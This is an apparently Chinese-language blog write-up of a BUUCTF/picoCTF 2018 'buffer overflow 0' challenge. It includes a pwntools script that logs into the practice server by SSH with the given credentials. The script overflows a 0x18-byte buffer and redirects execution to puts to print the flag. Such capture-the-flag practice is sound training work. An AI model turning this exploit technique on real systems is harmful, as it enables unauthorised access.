BUU-picoctf_2018_buffer overflow 0-WP

Posted on Jan 12, 2021

今天好像都是水题嘛。不过这题使用ssh连接直接给了一个没root权限的shell

不过有一个vuln,就是题目给出的elf。

payload很好写,就是payload = "./vuln " + 'a' * 0x18 + p32(elf.plt["puts"]) + 'reta' + p32(0x804A080),这个输进去就可以了,然后我发现pwntools输不进去,蛮奇怪的。向大佬请教之后后来才知道是用法错了,文档里面是这样写的

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

shell = ssh(host = 'node3.buuoj.cn',user = 'CTFMan',port = 27720,password = 'guest')
sh = shell.run('sh')
elf = ELF("./PicoCTF_2018_buffer_overflow_0")

payload = 'a' * 0x18 + p32(elf.plt["puts"]) + 'reta' + p32(0x804A080)
sh.sendline("./vuln " + payload)
print sh.recvuntil("\n")

sh.interactive()

今天两道高分水题,就这样吧,虽然什么都没学到,但也挺开心的。